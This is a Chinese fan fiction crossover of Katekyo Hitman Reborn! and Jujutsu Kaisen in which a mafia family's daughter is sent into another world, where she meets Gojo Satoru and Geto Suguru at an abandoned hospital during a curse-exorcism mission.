《玩弄dk悟后被教师悟关起来了》 1、第一章 一切的一切,都要从那一天开始说起。 正如读者们所知道的那样,在并盛町这个看似普通的地方,我们的女主角绿川纱夏将要迎来她人生的一个重大转折点,然而此时她还浑然不知,她正在和妈妈吐槽自己三明治里面的生菜。 “我都说了多少遍了,我不喜欢吃生菜。”绿川纱夏一边抱怨一边用手指捻出那片蔫蔫的生菜,顺便把沾上沙拉酱的手指在包装上蹭了蹭。 她向来对这些绿色的蔬菜不抱有任何好感。 “不喜欢吃就可以不吃吗?都多大的人了还挑食,你知不知道蔬菜里面有多少营养……”母亲皱着眉头,不断向她输送从所谓的专家那学来的健康知识。 这些话绿川纱夏早已烂熟于心,一向是左耳进右耳出,为了分散火力,她举起手,指向偷偷摸摸把菜叶扔到垃圾桶里的父亲,向母亲打了个小报告,“爸爸他把菜叶丢掉了。” “你!”坐在她对面的父亲见她如此不“仁道”,先是愤愤地瞪了她一眼,然后低眉顺眼地跑到母亲身边伏低做小,“哎呀,老婆大人,你做早餐辛苦了……” 母亲冷哼一声,从裤兜里掏出一把手枪对着父亲的脑门,“再废话就崩了你,我看就是你这个上梁不正导致她那个下梁歪。” 父亲悻悻地移开顶着自己脑门的手枪,一脸义正严辞地说,“你别听那个臭丫头胡说,我怎么会做出这种事情呢。” 正如大家所见,绿川纱夏的家庭并不简单,至少正常的家庭不会一言不合就拔枪,这种异常的行为源于这对夫妻的特殊职业——黑手党。 啊,是的,就是在意大利非常流行的那个。 绿川纱夏趁两人掰扯的间隙,偷偷将没吃完的三明治扔进垃圾桶,然后蹑手蹑脚扯上书包溜出了家门,没过多久就发现她偷跑的母亲在后面生气地大喊,“绿川纱夏!你又不好好吃早饭!!” 其分贝之大,让她疑心周围的邻居都要知道她在家不好好吃饭的事情了。 没办法,实在是因为她母亲做的三明治太难吃了,里面夹了胡萝卜丝、玉米粒、番茄还有昨天剩下的生菜,美其名曰维生素丰富,这简直就是蔬菜大杂烩嘛! 她可从来没在哪本家庭菜谱中见到过这种组合。 自己又不是兔子,怎么吃得下这种东西。 在去学校的路上,她去便利店重新买了个三明治,配上她最喜欢的冰镇苹果汁,感觉自己又活过来了。 “纱夏——” 绿川纱夏正准备把喝扁的苹果汁盒扔进垃圾桶里,就听到身后传来一道清脆的少年音,“好巧,又遇到你了,我们一起去学校吧!” 来人有着栗色的头发,同样是栗色的眼睛睁得大大的,领带系得歪歪扭扭的,一看就是随手系的,甚至连衣领都被压在针织背心下面没翻出来,此时正一脸兴奋地和她挥手,在他身边,站着一个臭脸的银发少年,正皱着眉头瞪她,显然是不太欢迎她的加入。 正在挥手的这位是她的同班同学泽田纲吉,而他身边的这位叫做狱寺隼人,是前者最忠心的下属。 诶,你问高中生怎么会有下属,难道这个看起来和兔子一样纯洁可爱的男孩是街头混混吗? 不不不,他的身份远比街头混混来的高级多了,他可是—— “早上好,十代目。”她将苹果汁盒投入专门的垃圾桶里,回头微微一笑。 他可是意大利一流的黑手党家族彭格列的下一任继承人,也就是她父母隶属家族的继承人。 虽然和她是没有什么关系啦,毕竟她只是一个平平无奇的普通中学生,不过她还是随着父母这么叫他。 对方显然不是很适应这个称呼,缩了缩脖子,有些害羞地挠挠头,“请别这么叫我,叫我的名字就好了。” “这怎么可以!” 还没等绿川纱夏回答,他旁边的银发少年就激动地喊道,“就算是在学校里,也应该分清自己的身份才行!!” “狱寺同学,你还真不愧是是十代目最信任的忠犬啊。”绿川纱夏笑眯眯地说,当然她说的话并不是什么夸赞。 “当然,我就是十代目最信任的左右手……”狱寺隼人脸上神气的表情没维持三秒,就迅速换上了充满怒气的神情,指间不知从哪变出了八个自动点燃的炸弹,“你这家伙什么意思??你敢说我是狗?!敢不敢来和我打一架啊喂!!” 真是人如武器,易燃易爆炸。 好孩子可不要学哦~会被别人误认为是狂躁症的哦。 泽田纲吉的眼睛猛的瞪大,连忙去拉住狱寺隼人,“狱寺同学,你别冲动,我想你应该是误会了纱夏。” 他一边拽着狱寺隼人,一边向绿川纱夏投去求救的眼神,仿佛在说“纱夏你快说点什么啊!”。 绿川纱夏自然不负他的期待,但说出的话在他的眼中却宛如恶魔低语,“没有误会啦,我对狱寺同学你就是纯恶意哦~” 惹这个小炮仗生气是她每天必做的事情,看到他气急败坏的样子她就感觉格外神清气爽。 “你——!!” 眼看着泽田纲吉就要拉不住狱寺隼人了,另一道爽朗的笑声忽然插入,“哈哈哈,阿纲你们又在玩什么游戏吗?” 黑色的短发配上标志性的阳光笑容,这位就是她们并盛中学的风云人物之一,山本武,他的运动神经超群,在学校里人气极旺。 至于为什么是之一,你看到后面就知道了。 显然,他的出现并不是及时雨,更像是助燃的汽油,一出现就让银发爆炸小子的火气更旺,“什么!你这小子又要来和我争夺十代目左右手的位置了吗??!” 见两个人的大战一触即发,夹在他们中间的泽田纲吉可谓是十分为难,一会儿像哄小孩子一样劝慰怒气冲天的狱寺隼人,一会儿强撑着笑脸和刚来的山本武寒暄,这才稍稍平息了两人之间的火药味。 绿川纱夏一脸同情地拍了拍他的肩膀,然后笑着调侃道,“不用担心啦,如果没办法收场的话里包恩会给你打死气弹的,大不了就是再裸奔一遍啦!” 下一秒,她就凑到他耳边,将声音压的很低,“对了,我猜今天的胖次花纹还是蓝底星星哦~” 说完,不忘朝他比了个wink。 “纱夏!!” 少年人的脸迅速爆红,像熟透了的番茄一样,就是因为这样,绿川纱夏才特别喜欢逗他。 几人一路打打闹闹到了校门口,远远就看见有一块空地学生们都避之不及,虽然还没见到人,但绿川纱夏感觉耳边已经响起了一段不妙的钢琴曲。 那个男人,又要出现了啊…… 站在风云人物顶端的男人。 黑色的外套披在肩上,袖子上别着的红袖章写着“风纪”二字,身后站着一群飞机棍发型的男人,一只嫩黄的小鸟乖巧地站在他的肩膀上,云雀恭弥的嘴角罕见地勾起,但细长的凤眼里却没有一丝笑意,“哦呀,你们这是在群聚吗?” 说着,他的手已经握上浮萍拐,衬衫袖子被他随意地向上翻折,露出白皙有力的小臂,左手的腕处还缠绕着绷带,绿川纱夏猜测应该是他打架留下了伤,他不是把绷带当成时尚单品的那类人。 “你是想打架吗?”狱寺隼人冷笑一声,手中像变魔术一样再次变出一堆炸弹,“求之不得!” 只见云雀恭弥将披着的外套向后随手一抛,就被他的其中一个下属稳稳当当地接住,他迅速向几人跑去,速度快的甚至看不清他的残影,狱寺隼人做好迎战的架势,双眼牢牢聚焦在他身上,只待他靠近就抛出手中的炸药。 谁知他的目标根本就不是狱寺隼人,一点也没迟疑地将浮萍拐甩向绿川纱夏,幸好她反应快,本能地往旁边一闪,躲过了他的攻击,但他似乎和她杠上了似的,连续地向她袭去,丝毫不给她喘息的机会。 绿川纱夏一边躲避着他的攻击一边在心里咬牙切齿地暗骂他这个疯子。 上次她和狱寺隼人打架的时候不小心被这家伙撞见,非要给她们两个按上群聚的罪名,要以风纪委员长的身份制裁她们两个。 她现在还记得当时他的浮萍拐离她的脸只剩下0.001厘米了,那因攻击速度过快而掀起凛冽的风一阵阵拍打在她的脸上,真是恐怖如斯! “哇——云雀学长怎么和绿川同学打起来了啊?!”泽田纲吉手足无措地捧着脸大喊道。 山本武和狱寺隼人这时莫名有默契地大步上前一左一右地拖住了云雀恭弥,山本武唇角挂着浅笑,声音却十分坚定,“云雀学长想打架的话,我可以奉陪哦。” “我也是。”狱寺隼人紧随其后。 不愧是好好同学和坏坏忠犬,意外的可靠嘛!!见云雀恭弥被两人绊住,绿川纱夏稍微松了口气,想趁其不备立马脚底抹油跑路。 “砰——” 一发子弹精准无误的落到她跟前,地面出现了一个明显的黑色弹坑。 绿川纱夏循着子弹的轨道望去,发现旁边的大树中间缓缓打开一小扇门,一个穿着西装的小婴儿正手持手枪,用小奶音悠闲地和她打招呼,“ciaos。” “临阵逃脱可是逃兵的行为啊纱夏。”稚嫩的小脸摆上严肃的表情,奶声奶气和语重心长的语气形成鲜明的对比。 她是谁的兵啊?哥们以为打战呢。 她父母是彭格列的,又不代表她也是彭格列的! 绿川纱夏心里掠过无数种将眼前这个小婴儿烹饪的方法,但一想到自己只会被对方反杀送进三途川,脸上不自觉地挂上礼貌的笑容,“reborn先生,您说的很有道理。” 虽然她不认同就是了。 那边的云雀恭弥同样听到了响声,强行突破了其他两人的防线,直直地朝着绿川纱夏冲了过来,绿川纱夏绝望地瞥了一眼旁边那个心机的小婴儿,恨不得仰天长啸,请苍天,辨忠奸!!《 》 2、第二章 经过前面那场闹剧,几人也是不负众望地迟到了。 数学老师看着门口齐刷刷地站着一排迟到的人,沉默半晌吐出一句,“你说你们是一起送被车撞的老奶奶去医院才迟到的?” 泽田纲吉一脸心虚地点了点头,在他身后是身上布满伤痕和衣衫褴褛的山本武和狱寺隼人,而绿川纱夏本就不想迎战,凭着自己点满的闪躲技能,成功做到只有衣角微脏。 “啊,老师,我和他们不是一伙的,我是被风纪委员长叫去帮忙了。”绿川纱夏从容不迫地编了个听上去比较正常的理由,毕竟云雀恭弥可是站在并盛中学食物链顶端的男人,就算是老师也要给他三分薄面。 “啊这样,那你先进来吧。”果不其然,数学老师的面色稍缓,语气温和地喊她进去,视线扫过其余几人,脸又立刻板起来,“至于你们几个通通在门口罚站!找理由也不找个好点的,这是在糊弄谁呢!” 泽田纲吉只好垂头丧气地贴着教室外面的墙壁罚站,不禁长叹一口气,早知道自己就等绿川桑先开口附和她了。 狱寺隼人则时刻关注着他的情绪,见状立马安慰他,“没关系十代目,区区一节数学课而已,你有任何不会的都可以来问我!” “是啊阿纲,要是有他也不会的题目你也可以来问我哦。”山本武脸上仍然挂着爽朗的笑容,丝毫没有因为打架和罚站感到不愉快。 泽田纲吉正一脸感动,自觉被看低的狱寺隼人上前却一把提起山本武的衣领,“喂你这家伙说什么呢?!我怎么可能会有不会的题目啊??” 这家伙一定是为了贬低他以博得十代目的信任!他绝对不会让这种有心机的人得逞的!! 被人拽着衣领的山本武还在抓着头发傻笑,“我只是提出一种可能性嘛哈哈哈哈。” “不会有这种可能性的!!” 目睹一切的泽田纲吉欲哭无泪,恨不得躲到角落里充当阴暗的蘑菇,在他没看到的地方,一旁的消防栓被开了一个小门,穿着西装戴着礼帽的小婴儿正翘着二郎腿,轻吹了一口咖啡冒上来的热气,然后十分优雅的浅啜了一口。 直到下课铃缓缓响起,三人才得以回到自己的座位上。 泽田纲吉一坐下就趴倒在桌上,把脸躺在手臂上,看起来十分疲惫的模样。 “十代目,你家小孩又跑来跟你一起上学了。”坐在他同排的绿川纱夏指了指抱着他小腿的爆炸头小奶牛。 她知道这个看起来只有五岁实际上也只有五岁的小奶牛(和某些表里不一的人不同)其实是波维诺家族的杀手,而且她还知道他们家族的秘传武器是传说中的“十年后火箭筒”,不过据说他们家族已经研发出了一种新型的空间武器,自称是“绝对会让人大吃一惊的武器”。 什么,你问她明明不是黑手党为什么会怎么知道这么多东西? 实在是很巧,她的父亲刚好在彭格列情报科工作,而他本人又刚好是个大嘴巴,在家里吃饭的时候总会像倒豆子一样吐露出不少隐秘的情报——当然因此被她母亲骂过很多遍了,只不过他屡教不改。 “啊,蓝波你怎么在这。”泽田纲吉顾不得疲惫,立马抱起了这个爆炸头小奶牛,左右张望着怕被人发现,好在正值下课时间,周围人都吵吵嚷嚷的,并没有发现教室里多出了一个五岁小孩。 “蓝波大人在家里太无聊了啦!”小奶牛在他的怀里活蹦乱跳的,兴奋地说,“阿纲快来陪我一起玩吧!” “这可不行呀蓝波。”泽田纲吉露出为难的表情,“我还要上课呢。” “yada!!!”爆炸头小奶牛瞬间变得泪眼汪汪,鼻涕泡都出来了,声贝提高了好几个度,引得几人都忍不住捂住了耳朵,“不可原谅!!” 下一秒,他就从自己蓬松的头发里面取出了一个长长的蓝色火箭筒,天知道他的头发里面是不是藏了一个芥子空间,毕竟这个火箭筒看起来比他整个人都高。 绿川纱夏的眼睛一亮。 来了,传说中的空间道具了! 他正哭喊着要将自己塞进火箭筒里面,却不料手莫名一滑,火箭筒也随之飞了出去,瞧它的飞行轨迹,竟直直地朝绿川纱夏滑去。 “纱夏!”泽田纲吉大喊一声想提醒她避开。 但不知为何,平常反应速度极快的绿川纱夏此时却好似被钉在了原地一样,丝毫动弹不得,然后蓝色火箭筒就不偏不倚地落到她脑袋上,直到罩住了整个人,随即喷射出一团蓝色的烟雾。 “诶??怎么什么都没有出现?!”泽田纲吉惊恐地捧着脸。 “阿拉。”自知可能闯祸的蓝波也停止了哭泣,挠了挠自己的爆炸头,略带心虚地说,“不小心拿错了,这个不是十年后火箭筒,是异世界火箭筒……” “异世界火箭筒??!”众人对视一眼,异口同声地重复。 “是的……”蓝波似乎想把自己缩成一团,“听名字就很好理解吧!就是能把人送到异世界的火箭筒啊!” “那这个火箭筒和十年后火箭筒一样只有五分钟的时间吗?”山本武最快抓住关键点追问道。 “这个嘛——”蓝波戳戳手指,又扭扭屁股,十分不好意思地说,“其实这个还是未完成品……据说十分不稳定,所以家族平时不让我用。” “那你还拿出来?!”狱寺隼人听不下去了,怒气冲冲地上去就给他脑门来了一拳,成功让小奶牛的眼睛再次变得湿润,他“嘶溜”一下吸回自己的鼻涕,努力不让眼泪掉下来。 “好了好了。”泽田纲吉拉住狱寺隼人,阻止他继续“虐牛”,然后苦恼地抓了抓头发,“现在我们该想想怎么把绿川桑带回来了。” * 绿川纱夏一睁开眼睛,就发现自己站在疑似东京的街头上。 为什么说疑似东京? 因为她并不住在东京,对这些街道不算特别熟悉,只是如此猜测,直到她来到涩谷的十字路口,她才得以确认,只是街道上很多店和她印象中的很不一样。 不过既然是异世界火箭筒,有点不一样也很正常吧? 嗯……她记得十年后火箭筒的时效是五分钟,一样的产家生产出来的产品应该差不多,她看了眼手表,现在是早上九点四十分。 她漫无目的地闲逛着,因为时间还比较早,很多店家还没开门,或者是正在为营业做准备工作,不过街道上已经是行人如织,充斥着游客和上班族。 逛着逛着,一家店门外贴着精美海报的冰激凌店吸引了她的注意,彩虹色的棉花糖包裹着雪白的冰激凌,上面还撒了些彩虹糖豆,一颗饱满的樱桃插在最顶端。 看起来好好吃…… 绿川纱夏虽然不热衷于甜食,但这种漂亮的甜品无论如何她也想尝尝。 恰巧店内的第一位员工已经准备就绪了,注意到在门口驻足的绿川纱夏,脸上挂起甜美的笑容,“你好,请问需要来个冰激凌吗?” 绿川纱夏下意识地想做肯定的回答,但她的理智督促着她摸了摸自己的外套口袋,里面空空如也。 她习惯把钱都放在钱包里面,而火箭筒并没有把她的书包一起带来,所以她现在身无分文。 她只好遗憾地摆了摆手,拒绝了店员的邀请,但她的脚却没有迈开,仍然定定地看着橱柜里面五彩斑斓的棉花糖。 啊…… 看起来真的好好吃…… 五条悟正在徒步前往任务地点,他的心情算不上太好,由于这次的辅助监督不仅是个新人还有点路痴,在这里绕了好几圈也没能找到正确的道路,杰又好几次发来催促的消息,有些不耐烦的他干脆下来自己走。 按照地图显示的,他只要沿着这条路直走,在第一个分岔路口向左转弯就到了,不过在他到达之前,一张巨大的冰激凌海报吸引了他的注意力。 五彩棉花糖冰激凌吗? 他还从来没有吃过呢!看起来味道就很好的样子! 只一瞬间,他就在任务和冰激凌之间选择了后者。 唔,这么简单的任务,杰一个人也可以完成吧?他迟到一小会儿也不算什么大事。 于是乎,他毫无心理负担地穿过马路,走向对面的冰激凌店。 走近后,他才注意到店门外站着一个女孩子,由于她面对着橱柜,所以他只能看到她的背影,她的头发是罕见的薄荷色,莫名让他想到前几天刚吃过的薄巧冰激凌,因为已入秋,对方身上还穿着卡其色的制服外套。 东京有哪所高中的制服是这样子的吗? 他在心里暗自嘀咕,不过他没有多想,而是径直上去向店员要了一个超大份超有料的彩虹棉花糖冰激凌。 “棉花糖和冰激凌都要加倍哦,上面的糖豆也要多撒一点,最好能再来点酥脆,麻烦了哦~”他不紧不慢地将自己的要求尽数报来,意料之中地看到了店员意外的表情,但对方很有职业素养地没有多问,而是迅速开始制作他的冰激凌。 五条悟感受到旁边传来一道炽热的视线,他十分自然地扭头回望过去,毫无防备地撞进了一双薄荷色的眼瞳里,似春水般清澈透亮。 和她的发色一样少见,五条悟心底冒出这个想法。 对方似乎没想到他会突然扭头,仅对视一秒,她就收回了视线,继续凝视着橱窗里的棉花糖。 也是在这时,五条悟才注意到对方并没有买冰激凌,她的手上空无一物,身上也没有带包,而店员正在制作他购买的冰激凌,所以她站在这么久,只是干看着。 她不会是买不起吧? 五条悟越想越觉得这个想法很合理,不然怎么会有人站着看了这么久却什么也不买呢? 这个冰激凌店位处涩谷中心,而且卖的就是一个设计,冰激凌的价格自然不会低,只不过对五条悟来说,贵和便宜都只是一个数字罢了,他只关心好不好吃。 想到眼前这个女孩和他的眼光一样好,他难得地起了点恻隐之心,直白的话没有经过大脑思考就直接吐出来了,“喂,你想吃吗?我请你。”《 》 3、第三章 ? 如果人生是星露谷,绿川纱夏的脑袋上应该会出现一个画着问号的泡泡框。 连店员挖冰激凌球的动作都微不可察地顿了一下。 现在的中学生真是了不得了,居然这么直接吗。 刚听到这话的时候,她压根没觉得对方是在和自己说话,直到耳边沉默了几秒,始终无人应答的声音响起,她才突然想到外面就她们两个人。 她一侧头就看到少年毫无波澜的脸,看起来好像真的只是随口一问。 明明太阳不算大,他却不合时宜地带着一副小圆框墨镜,时下已经不流行这种款式了,看起来像是上了年纪的人才会戴的类型。从他的下半张脸也能推断出他的长相一定不差,甚至可以说得上是帅气,只要眼睛不要小到看不见人,在寻常学校里怎么也算个班草,要是性格再好点,绝对会和山本武一样成为学校的人气王。 不过初次见面就说这种话有点太冒昧了吧?一看就是个直肠子。 而且他也太能吃甜食了吧,这种一看就甜度超标的食物居然会要超大份的,让人怀疑牙齿会不会蛀掉的程度,就是因为刚刚他和店员说的话属实是让她感到十分惊讶,才会忍不住对他侧目。 绿川纱夏心里活动极为丰富,但面上却不显山不露水,本打算直接拒绝对方,转念一想万一自己回去了那里没有这家店,自己就要错过这个看起来很好吃的冰激凌,于是没说出口的拒绝就变成了爽快地答应,“好啊,那就谢谢你了。” “那你自己和店员说想要哪个吧。”五条悟看似平静地说,其实心里也很惊讶,话刚说出口他就意识到不妥之处,担心自己的话会激怒对方,没想到对方会这么轻易地接受了。 果然爱吃甜品的能是什么坏人呢? 绿川纱夏和店员点了一个最经典的棉花糖冰激凌,店员一脸笑容地应答,其实在心里吐槽着这两个高中生太奇怪了都是自来熟,只有青春剧里面的人才会这么演吧。 五条悟替她结完账,接过自己的冰激凌就先行离开了,没再和绿川纱夏说过一句话。 本来还想再道声谢的说。 留在原地等待的绿川纱夏看着他的背影,心里对他有了一个新的人物设定,他绝对不是那种游刃有余的人气王,倒很有可能是爱逃课、我行我素的怪学生。 奇怪,后面这个人设怎么有点眼熟? 绿川纱夏正捏着下巴思考并盛中学是否有这么一号人物时,店员双手朝她递来了冰激凌,笑盈盈道,“您好,您点的冰激凌做好了,请慢用。” 和对方互相道完谢,绿川纱夏就握着冰激凌继续她的闲逛之旅。 棉花糖咬起来非常松软香甜,里面是偏酸但不涩的柚子冰激凌,很好地中和了棉花糖和甜豆的甜度,搭配起来颇有一番风味,不是网上推广的那些中看不中用的美丽废物。 绿川纱夏用手提起樱桃的梗,放到嘴边一口咬下酸甜的果肉,嚼碎后将果核吐出,和梗一起扔进了垃圾桶里。 尽管设计者已经有在努力丰富冰激凌味道的层次,让它吃起来不那么腻,但过分的甜度还是让她的味蕾有些承受不住,最后没吃完就将它喂给了垃圾桶。 不知道刚刚那个少年吃的怎么样了。 她光是想到那个超级加倍的棉花糖冰激凌嘴里就开始齁的发慌了。 绿川纱夏的视线不经意扫到了不远处建筑上挂着的时钟,才突然想到被自己遗忘的时间,她低头望了眼手表,现在已经是十点整了,足足过去了二十分钟。 她就说这个世界的五分钟怎么这么漫长。 不过她并没有放在心上,毕竟这种产品偶尔有些bug也是正常的,总不能不让她回去了吧。 忽然,一个奇怪的告示牌闯入了她的视线里,破旧的板子上写着前面有一家医院主题的餐厅,服务员会扮成护士或医生进行角色扮演,看起来要给你检查或治疗,实际上是用注射器或试管给你上菜。 哇—— 好奇葩的餐厅! 她的眼睛倏的亮了。 如果这上面写的是什么米其林餐厅,绿川纱夏的眼睛都不会多眨两下,但要是这么猎奇的餐厅,她高低得过去看两眼。 “请沿着这条道路直行,至第一个路口时左转。”绿川纱夏轻声念出上面的指引,并在心里默默记下。 果然不愧是异世界,连餐厅都这么奇异呢! * “喂,杰你也太胆小了吧,这么久过去了还没进去吗?”五条悟手上拿着快吃完的棉花糖冰激凌,大摇大摆地走到挚友身边,丝毫没有迟到的自觉,还很欠揍地凑到他耳边说了一句,“果然还是需要我来拯救你吧!” 夏油杰默默把手握拳,斜了他一眼,脸上写着大大的“无语”两字,要不是上次私自行动回去被夜蛾老师骂了还写了几千字的检讨,他才不想管这家伙,早就进去解决了就自己先回高专休息了。 不过—— 他看着五条悟手上被啃的只剩丁点甜筒皮的冰激凌,“这是什么?” “这都看不出来吗?是刚刚买的超级无敌豪华版棉花糖冰激凌哦!”五条悟得意洋洋地说。 所以说他在已经迟到的情况下还抽空去买了个冰激凌吗? 夏油杰的拳头又攥紧了一些,在心里默默告诉自己这个家伙不靠谱也不是一天两天了,不要和他斤斤计较。 “快点进去吧,昨天做了一整晚的任务,我已经有点困了。”夏油杰话音里带上了一丝不耐烦,最近上面分给他们两的任务越来越多,昨天的任务本就有点棘手,中途又临时下发新任务,害得他们两一整晚没睡就赶来做今天的任务了。 “嗨嗨——”五条悟随口应道。 两人一同走进这所废弃没多久的医院,这家医院因为地理位置好,附近有不少高级公寓,所以经营状况一直很不错,只不过前不久医院出现了严重的医疗事故,导致生意一落千丈,来往的人锐减,没多久就倒闭了。 而这次的任务对象是一级咒灵,据说正是当时出事故的那名小男孩因为怨念形成的。由于主刀医生术前收了他人的贿赂,做手术过程中十分敷衍,在不该划刀的地方乱划,完全没有平时的水准,甚至中途还去接了个电话,导致病人大出血,硬生生将几乎零失败的小手术做失败了,断送了一条鲜活的生命。 病人没有生命体征之后,主刀医生偷偷将他的器官取下拿去贩卖,却不曾想由于男孩心中的恐惧、愤怒、怨恨等负面情绪,他变成咒灵了卷土重来,那名贪婪的主刀医生也以生命为代价受到了应有的惩罚。 只是那名化身咒灵的小男孩因为怨气未散,始终留在这栋废墟的医院里面。 据说周围的邻居总能听见这所医院晚上会发出不明的动静,可是她们都知道,这家医院已经倒闭很久了,不可能还有人在里面,而且她们从来没看见有人进出这栋大楼。 日子一久,她们不堪其扰,纷纷选择搬家离开了这个地方,这附近的房子也因为这事房价骤跌,目前只剩下零星几名住户。 这次的任务情报如此细致是因为前面已经来过几批等级较低的咒术师,但他们最后无一例外全都失败了,都被打成重伤送到家入硝子那里治疗,引得家入硝子连着好久没睡好觉,叫苦不迭,十分不满。 所以上层才临时将这个任务分发给本来就负担很重的两人,希望他们能迅速解决这个问题。 夏油杰抬起手,打开手心,一只散发着微弱荧光的飞虫从中飞出,快速挥动着翅膀,向暗黑的前方飞去。 这是四级咒灵——萤灵。 就好像许多昆虫具有的趋光性,它们会趋于附近咒力最强的地方,一般强大的咒灵就算注意到了也不会在意这些低级咒灵。 不过它们胆子很小,通常会藏匿在隐秘的角落里,平时不会发光,十分难捕捉。 夏油杰费了好大的力气也才抓到几只,加之平时做任务会有不定量的损耗,所以他曾经拜托过五条悟帮自己一起捉。 只不过他忘了这家伙的不靠谱,有次刚找到一只,他拿出自己特制的捕虫工具小心翼翼地上前时,身后就传来一道剧烈的冲击波,只听到一声电蚊拍打到蚊子的“滋滋”声,他眼睛缓缓睁大,只看到莹灵的尸体在他眼前似雪花般轻飘飘地落下来了。 他气愤地回头望去,就见后者无所谓地双手交叠枕着脑袋,还毫无察觉地朝他咧嘴一笑。 夏油杰:…… 恰逢当时冥冥在各大群聊里打广告声称自己只要钱给到位什么都能干,从那之后,他便开启了和冥冥长期的金钱交易,虽然价格贵了点,但好在省心省力。 本来只是想在五条悟不在的时候用,结果这家伙明明有六眼,却还总是让他把萤灵放出来。 两人走在昏暗的走廊上,打量着周遭的环境。这栋楼早已断电,唯一的光源就是从窗户透进来的阳光,地上铺满灰尘和掉落的墙皮,病号服和半截的人体模型被随意地扔在地上,墙上和门上的字已经变得模糊不清,绿色的青苔爬到墙上挂着的奖项后面,似要将其吞噬。 这种场景对于两人来说已经是家常便饭了,毕竟咒灵出现的大部分地方都是医院、学校这种人多且容易产生负面情绪的地方,在咒灵出现后,大部分都废弃了。 五条悟甚至还在回味刚刚吃过的冰激凌,考虑着任务结束后要不要再去买两个。 忽然,萤灵传来的情绪波动变化很大。 夏油杰知道它找到了。 “找到了,走吧。”《 》 4、第四章 “直行再左转,应该指的就是这里吧?”绿川纱夏循着告示牌上的指示在第一个路口向左转弯,拐进一条安静的小巷,直到走到尽头走出巷子才终于找到了一家看上去十分荒芜的医院,甚至外面还贴着被撕了一半的封条。 真的有餐馆会装修成这个样子吗?绿川纱夏的心里划过一丝疑惑,不过她并没有多想,以为是这家餐厅的特色风格,径直走进了破旧的医院大门。 她扫视了一圈,很快就发现这里的破败并不是刻意制造的,而是真的废弃了。 低头一看,灰尘已经快和地毯一样厚了,她那双擦的锃亮的小皮鞋都沾满了灰尘, 靠。 难道那个广告牌是什么新型愚人节诈骗吗? 故意把人骗到这里让人一头雾水什么的。 想到这些,绿川纱夏的心情变得不那么美妙了,特别是她在下一秒就听到楼上传来了轻微的动静。 这里怎么会有人在呢? 自己不会是误入了什么恐怖片片场吗? 作为完全的唯物主义者,她眼睛都没眨一下,直直地往楼上走去,打算去一探究竟。 细心的读者就要问了,作者作者,这位大妹子这么莽的吗?孤身一人也敢直接上去啊? 读者你好,这是个好问题。 前面提到了咱们大妹子是mafia世家,武力值极高,隐匿什么的也是不在话下,而且她的腿上绑了一把轻巧的小手枪,加之她本人根本不相信世上有灵异事件,十几岁正是出去闯荡的好年龄,当然不能怂。 好了,回归正题。 大妹子,啊不,绿川纱夏在上楼梯的过程中,上面的声音越来越响,好像是重物摔在墙上或者撞击到其他设备的声音,没过一会就传来叮铃咣啷的声响,她甚至怀疑是不是有装修队在装修。 她越靠近三楼,声响就愈发激烈,她的脚步放得很慢,几乎听不见什么脚步声,快登上三楼的时候,只露出一个脑袋试图察看上面的情况。 只一眼,就让她这个坚定的唯物主义者开始动摇了。 一名扎着丸子头、穿着黑色制服的少年一手插兜,一手捏着一个穿着病号服小男孩的脖子。 不,那不是什么小男孩,他的手正死死抓着少年的胳膊,但他的手下却冒出源源不断的黑气,更可怕的是,他的裤管下并不是腿,而是枯败的树干,它被腐蚀得中间空空的,但已经扎根到地上并在不断蔓延,似乎是想要完全包裹住这个空间。 少年却似乎已经没有什么耐心,骨节分明的大手用力一挤,小男孩就好似被捏爆的气球,一瞬间就变成破裂的碎片,很快这些碎片又在少年张开的手心中凝聚在一起,变成一颗内部亮着暖黄色光芒的黑球。 只见少年皱着眉头,一脸嫌弃地看了眼手中的球,随后张开嘴,将这个看起来有灯泡那么大的球塞进嘴里,他用双手紧紧捂住嘴巴,似乎是害怕自己会忍不住吐出来,在进行了一个吞咽的动作后,可以明显看出,他皮肤下有一道暖黄色的光从口腔的位置顺着喉咙进入到他的身体里,而他的表情也变得十分狰狞。 绿川纱夏的眼睛随着他的动作缓缓睁大。 我去,妈妈,真的有人能吞灯泡! 不对,是有人吃小孩了! 也不对…… 还没等她细想,一道犀利的眼神就甩到她身上,随之而来的是冰冷的声音,“谁在那里?” 啊呀,被发现了。 绿川纱夏的眉毛挑了下,还没来得及张嘴,一道猛烈的攻击就朝她这个方向袭来。 “轰隆隆——” 钢筋水泥无法承受这种沉重的攻击,很快楼梯就坍塌下去,变成一摊废弃破碎的石头。 “喂喂,杰你出手也太快了吧,万一是什么无辜市民呢?”原本隐匿在角落观看战斗的五条悟走了出来,探出身子往前看夏油杰的“战果”。 “这种地方怎么可能会有什么无辜的市民。”夏油杰语气很淡地说。 平常人对这种地方躲还来不及,怎么可能会有那么大的胆子上来。 而且—— “悟你是不是又忘了放帐了。” 是疑问句的句式但语气却是肯定的。 “阿咧?”五条悟歪了歪脑袋,好似认真回忆了几秒,随后满不在乎地说,“好像是吧。” 烟雾散去,原本连接二楼和三楼的楼梯已经完全变成了粉尘,全都堆积在二楼的平台上,而在上面,却不见一丝人影。 “这里可没有人哦~”五条悟觉得无趣地收回视线。 “或许和楼梯一起变成粉末了吧。”夏油杰不甚在意。 五条悟双手插着裤兜,正打算从三楼跃到二楼,跳跃的动作忽然顿住,他猛地回头盯着走廊的某个角落,苍蓝色的眼瞳亮的像阳光下的海蓝宝石,折射出耀眼的光芒。 “说什么呢,人好好地站在这呢。”五条悟的嘴角缓缓勾起,似乎是看见了什么好玩的东西。 夏油杰眉头蹙起,顺着他的目光望去,伴随着小皮鞋清脆的哒哒声,一名穿着制服的少女正缓缓走出。 “怎么是你……?”五条悟看着少女逐渐清晰的面容和薄荷色的长发,语气带了点疑惑。 按理说仅一面之缘,他不一定能记得她,不过两次相遇间隔的时间很短,加之她的薄荷色头发有些特殊,所以他一下就认出来了。 “悟,是你认识的人?”夏油杰挑了挑眉。 “不认识,刚刚在路上遇见过,我还请她吃了个冰激凌。”五条悟摊手。 不认识你还请人家吃冰激凌…… 该说不说,真不愧是五条悟。 “嗯……我看到告示牌上说这有家餐厅。”绿川纱夏镇定地说。 夏油杰轻笑一声,“你的意思是这里是餐厅吗?” 编谎话也不编个站得住脚的。 五条悟瞥了他一眼,像是突然想到了什么一样,嘴角挂上一个不怀好意的笑容,阴测测地说,“你刚刚都看到了吧。” “……看到什么?”绿川纱夏不解。 “刚刚那个女孩。”夏油杰抢先一步答道,故意说了与事实不符的内容,企图让她露出破绽。 五条悟看向他的目光都带上了一丝敬佩和“你这家伙果然就是这么阴险歹毒”的意味。 